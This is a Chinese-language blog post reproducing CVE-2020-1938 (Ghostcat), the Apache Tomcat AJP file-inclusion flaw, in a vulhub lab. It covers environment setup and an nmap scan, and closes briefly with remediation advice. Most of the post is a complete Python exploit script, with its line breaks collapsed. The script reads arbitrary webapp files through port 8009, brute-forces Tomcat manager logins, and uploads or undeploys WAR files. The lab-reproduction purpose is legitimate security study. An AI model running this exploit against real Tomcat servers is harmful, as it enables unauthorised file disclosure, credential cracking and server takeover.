目录

一、环境搭建

1、下载vulhub

2、启动环境

二、漏洞复现

1、使用nmap扫描目标

2、运行POC验证漏洞

3、POC代码

三、修复方法


一、环境搭建

1、下载vulhub

kali系统输入命令

git clone https://github.com/vulhub/vulhub.git

下载vulhub

2、启动环境

进入解压后的vulhub文件

进入tomcat文件夹

进入CVE-2020-1938文件夹

在该文件夹下打开终端,输入以下命令启动环境

二、漏洞复现

1、使用nmap扫描目标

发现开启了8080和8009两个端口,其中8009对应服务为ajp13,而Aapache Tomcat AJP文件包含漏洞就存在于此服务中。

攻击者可以利用该漏洞读取或包含Tomcat的webapp目录下的任何文件。例如,攻击者可以读取web应用程序的配置文件或源代码。此外,如果目标web应用具有文件上传功能,攻击者可能会利用Ghostcat漏洞在目标主机上执行包含文件的恶意代码。

2、运行POC验证漏洞

运行poc,成功读取/WEB-INF/web.xml文件,存在目标漏洞

3、POC代码

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformatfrom base64 import b64encode
import socket
import argparse
import logging
import re
import os
import logging
import sys
try:from urllib import unquote
except ImportError:from urllib.parse import unquotedef setup_logger():logger = logging.getLogger('meow')handler = logging.StreamHandler()logger.addHandler(handler)logger.setLevel(logging.DEBUG)return loggerlogger = setup_logger()# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)fr.method = methodfr.protocol = "HTTP/1.1"fr.req_uri = req_urifr.remote_addr = target_hostfr.remote_host = Nonefr.server_name = target_hostfr.server_port = 80fr.request_headers = {'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','SC_REQ_CONNECTION': 'keep-alive','SC_REQ_CONTENT_LENGTH': '0','SC_REQ_HOST': target_host,'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'en-US,en;q=0.5','Upgrade-Insecure-Requests': '1','Cache-Control': 'max-age=0'}fr.is_ssl = Falsefr.attributes = []return frclass Tomcat(object):def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.socket.connect((target_host, target_port))self.stream = self.socket.makefile("rb")def test_password(self, user, password):res = Falsestop = Falsecreds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + credswhile not stop:logger.debug("testing %s:%s" % (user, password))responses = self.forward_request.send_and_receive(self.socket, self.stream)snd_hdrs_res = responses[0]if snd_hdrs_res.http_status_code == 404:raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)elif snd_hdrs_res.http_status_code == 302:self.req_uri = snd_hdrs_res.response_headers.get('Location', '')logger.info("Redirecting to %s" % self.req_uri)self.forward_request.req_uri = self.req_urielif snd_hdrs_res.http_status_code == 200:logger.info("Found valid credz: %s:%s" % (user, password))res = Truestop = Trueif 'Set-Cookie' in snd_hdrs_res.response_headers:logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))elif snd_hdrs_res.http_status_code == 403:logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (user, password))stop = Trueelif snd_hdrs_res.http_status_code == 401:stop = Truereturn resdef start_bruteforce(self, users, passwords, req_uri, autostop):logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)f_users = open(users, "r")f_passwords = open(passwords, "r")valid_credz = []try:for user in f_users:f_passwords.seek(0, 0)for password in f_passwords:if autostop and len(valid_credz) > 0:self.socket.close()return valid_credzuser = user.rstrip('\n')password = password.rstrip('\n')if self.test_password(user, password):valid_credz.append((user, password))except NotFoundException as e:logger.fatal(e.message)finally:logger.debug("Closing socket...")self.socket.close()return valid_credzdef perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))if user is not None and password is not None:creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8')self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + credsfor h in headers:self.forward_request.request_headers[h] = headers[h]for a in attributes:self.forward_request.attributes.append(a)responses = self.forward_request.send_and_receive(self.socket, self.stream)if len(responses) == 0:return None, Nonesnd_hdrs_res = responses[0]data_res = responses[1:-1]if len(data_res) == 0:logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))return snd_hdrs_res, data_resdef upload(self, filename, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)with open(filename, "rb") as f_input:with open("/tmp/request", "w+b") as f:s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(filename)s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'f.write(s_form_header.encode('utf-8'))f.write(f_input.read())f.write(s_form_footer.encode('utf-8'))data_len = os.path.getsize("/tmp/request")headers = {"SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti","SC_REQ_CONTENT_LENGTH": "%d" % data_len,"SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]if old_version == False:attributes.append({"name": "query_string", "value": deploy_csrf_token})old_apps = self.list_installed_applications(user, password, old_version)r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes)with open("/tmp/request", "rb") as f:br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)br.send_and_receive(self.socket, self.stream)r = AjpResponse.receive(self.stream)if r.prefix_code == AjpResponse.END_RESPONSE:logger.error('Upload failed')while r.prefix_code != AjpResponse.END_RESPONSE:r = AjpResponse.receive(self.stream)logger.debug('Upload seems normal. Checking...')new_apps = self.list_installed_applications(user, password, old_version)if len(new_apps) == len(old_apps) + 1:logger.info('Upload success!')else:logger.error('Upload failed')def get_error_page(self):return self.perform_request("/blablablablabla")def get_version(self):hdrs, data = self.get_error_page()for d in data:s = re.findall('(Apache Tomcat/[0-9\.]+)', d.data.decode('utf-8'))if len(s) > 0:return s[0]def get_csrf_token(self, user, password, old_version, headers={}, query=[]):# first we request the manager page to get the CSRF tokenhdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data.decode('utf8') for d in rdata]))if old_version == False:if len(deploy_csrf_token) == 0:logger.critical("Failed to get CSRF token. Check the credentials")returnlogger.debug('CSRF token = %s' % deploy_csrf_token[0])obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '').decode('utf-8'))if obj is not None:return deploy_csrf_token[0], objreturn deploy_csrf_token[0], Nonedef list_installed_applications(self, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)headers = {"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded","SC_REQ_CONTENT_LENGTH": "0","SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]if old_version == False:attributes.append({"name": "query_string", "value": "%s" % deploy_csrf_token})hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes)found = []for d in data:im = re.findall('<small><a href="([^";]*)">', d.data.decode('utf8'))for app in im:found.append(unquote(app))return founddef undeploy(self, path, user, password, old_version, headers={}):deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)path_app = "path=%s" % pathheaders = {"SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded","SC_REQ_CONTENT_LENGTH": "0","SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),"Origin": "http://%s" % (self.target_host),}if obj_cookie is not None:headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},{"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]if old_version == False:attributes.append({"name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes)r = AjpResponse.receive(self.stream)if r.prefix_code == AjpResponse.END_RESPONSE:logger.error('Undeploy failed')# Check the successful messagefound = Falseregex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*'+path+')\s*<\/pre><\/td>'while r.prefix_code != AjpResponse.END_RESPONSE:r = AjpResponse.receive(self.stream)if r.prefix_code == 3:f = re.findall(regex, r.data.decode('utf-8'))if len(f) > 0:found = Trueif found:logger.info('Undeploy succeed')else:logger.error('Undeploy failed')if __name__ == "__main__":parser = argparse.ArgumentParser()subparsers = parser.add_subparsers()parser.add_argument("target", type=str, help="Hostname or IP to attack")parser.add_argument("--port", type=int, default=8009, help="AJP port to attack (default is 8009)")parser.add_argument('-v', '--verbose', action='count', default=1)parser_bf = subparsers.add_parser('bf', help='Bruteforce Basic authentication')parser_bf.set_defaults(which='bf')parser_bf.add_argument("req_uri", type=str, default="/manager/html", help="Resource to attack")parser_bf.add_argument("-U", "--users", type=str, help="Filename containing the usernames to test against the Tomcat manager AJP", required=True)parser_bf.add_argument("-P", "--passwords", type=str, help="Filename containing the passwords to test against the Tomcat manager AJP", required=True)parser_bf.add_argument('-s', '--stop', action='store_true', default=False, help="Stop when we find valid credz")#   parser_req = subparsers.add_parser('req', help='Request resource')
#   parser_req.set_defaults(which='req')
#   parser_req.add_argument("-m", "--method", type=str, default="GET", help="Request method (default=GET)", choices=AjpForwardRequest.REQUEST_METHODS.keys())parser_upload = subparsers.add_parser('upload', help='Upload WAR')parser_upload.set_defaults(which='upload')parser_upload.add_argument("filename", type=str, help="WAR file to upload")parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")parser_upload = subparsers.add_parser('undeploy', help='Undeploy WAR')parser_upload.set_defaults(which='undeploy')parser_upload.add_argument("path", type=str, help="Installed WAR path")parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")parser_version = subparsers.add_parser('version', help='Get version')parser_version.set_defaults(which='version')parser_upload = subparsers.add_parser('list', help='List installed applications')parser_upload.set_defaults(which='list')parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username")parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password")parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers")parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token")read_file = subparsers.add_parser('read_file', help='Exploit CVE-2020-1938')read_file.set_defaults(which='read_file')read_file.add_argument("file_path", type=str, help="File to read")read_file.add_argument("-w", "--webapp", type=str, default="", help="webapp potential params: 'manager', 'host-manager', 'ROOT' or 'examples'")read_file.add_argument("-o", "--output", type=str, help="Output file (for binary files)")args = parser.parse_args()if args.verbose == 1:logger.setLevel(logging.INFO)else:logger.setLevel(logging.DEBUG)bf = Tomcat(args.target, args.port)if args.which == 'bf':bf.start_bruteforce(args.users, args.passwords, args.req_uri, args.stop)
#   elif args.which == 'req':
#       print bf.perform_request(args.req_uri, args.headers, args.method, args.user, args.password)elif args.which == 'upload':bf.upload(args.filename, args.user, args.password, args.old_version, args.headers)elif args.which == 'version':print(bf.get_version())elif args.which == 'list':apps = bf.list_installed_applications(args.user, args.password, args.old_version, args.headers)logger.info("Installed applications:")for app in apps:logger.info('- ' + app)elif args.which == 'undeploy':bf.undeploy(args.path, args.user, args.password, args.old_version, args.headers)elif args.which == 'read_file':attributes = [{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},{"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)},{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},]hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)output = sys.stdoutif args.output:output = open(args.output, "wb")for d in data:if args.output:output.write(d.data)else:try:output.write(d.data.decode('utf8'))except UnicodeDecodeError:output.write(repr(d.data))if args.output:output.close()

三、修复方法

1、升级tomcat版本

2、如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost

CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现相关推荐

  1. Java安全-Tomcat AJP 文件包含漏洞(CVE-2020-1938)幽灵猫漏洞复现

    Tomcat AJP 文件包含漏洞(CVE-2020-1938) CVE-2020-1938 又名GhostCat ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含 ...

  2. Tomcat AJP 文件包含漏洞(CVE-2020-1938)

    目录 1.漏洞简介 2.AJP13 协议介绍 Tomcat 主要有两大功能: 3.Tomcat 远程文件包含漏洞分析 4.漏洞复现 5.漏洞分析 6.RCE 实现的原理 1.漏洞简介 2020 年 2 ...

  3. Apache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

    漏洞描述 产生原因 环境搭建 漏洞复现 漏洞描述 Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在 ...

  4. index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...

  5. 【通告更新】Apache Tomcat服务器文件包含漏洞安全风险通告第三次更新

    近日,奇安信CERT监测到CNVD发布了漏洞公告,对应CNVD漏洞编号:CNVD-2020-10487.CVE漏洞编号:CVE-2020-1938.CNVD漏洞公告称Apache Tomcat服务器存 ...

  6. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  7. phpmyadminV4.8.1本地文件包含漏洞复现

    文章目录 一.phpMyadmin简介 二.什么是文件包含漏洞? 三.本地包含和远程包含 四.文件包含相关函数介绍 1.函数介绍 2.报错 3._once 4.小结 五.关于windows特性的一个小 ...

  8. php文件包含漏洞复现,文件包含漏洞(绕过姿势)

    当你的才华 还撑不起的野心时 那你就应该静下心来学习 目录 文件包含漏洞介绍 特殊姿势 亲测有效 php文件包含漏洞 本地包含漏洞(LFI) 远程包含漏洞 文件包含利用 读取敏感信息 远程包含shel ...

  9. tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)

    漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...

最新文章

  1. 与我们的书合影——在2009北京国际图书展(BIBF)
  2. java中bean文件主要实现内容_JavaBean简单及使用
  3. 画出降维后的图片_有没有人能画出《三体》里太阳系被二维化的概念图?
  4. GroupingComparator分组
  5. matlab读取txt数据绘图(python命令行传参)
  6. 15 函数回调 模块
  7. 据说这份高考卷,只有程序员能得满分!
  8. mysql workbench启动_怎么启动mysql workbench
  9. 【转】Retrofit
  10. mysql point WKB格式 php 解析 unpack
  11. Command line is too long. Shorten command line for Application---微服务升级_SpringCloud Alibaba工作笔记0067
  12. 【C语言】实现对一个8 bit数据(unsigned char类型)的指定位(例如第n位)的置0或者置1操作,并保持其他位不变。
  13. 【定位问题】基于matlab RSSI和模拟退火优化粒子群算法求解无线传感器网络定位问题【含Matlab源码 1766期】
  14. 2021好物推荐!简易画图软件分享
  15. 面试经验之阿里暑期实习
  16. esp8266烧录html方法,将ESP8266刷成可以使用网页配置的固件和步骤
  17. 中医大2020年7月网考计算机应用基础,2020年7月网络教育统考计算机应用基础模拟题试卷9...
  18. 干货|如何轻松安装和永久激活photoshop cs6
  19. 工作和生活遇到的Windows常见需求 跨局域网共享文件 网页加载慢更换DNS
  20. ubuntu网站及数据库自动备份

热门文章

  1. csdn上设置关注博主即可阅读全文【亲测有效】
  2. 牛客练习赛 25 E题 定向 【桥 + 思维】 无向图定方向变强连通图
  3. 多次请求事务未提交导致的数据重复入库问题
  4. JArray 转 string[]
  5. 独家解密英特尔处理器制造全流程
  6. 操作csv格式文件之csv.reader()方法
  7. python 3d绘图 拖动_python3d画图mpl_toolkits.mplot3d
  8. AngularJS快速入门5--过滤器
  9. HBase基础语法---蔡彤
  10. 并发编程:并发和并行、多进程、同步异步,阻塞非阻塞、进程同步(进程锁)、线程、GIL全局解释器锁、锁-信号量-Event事件、协程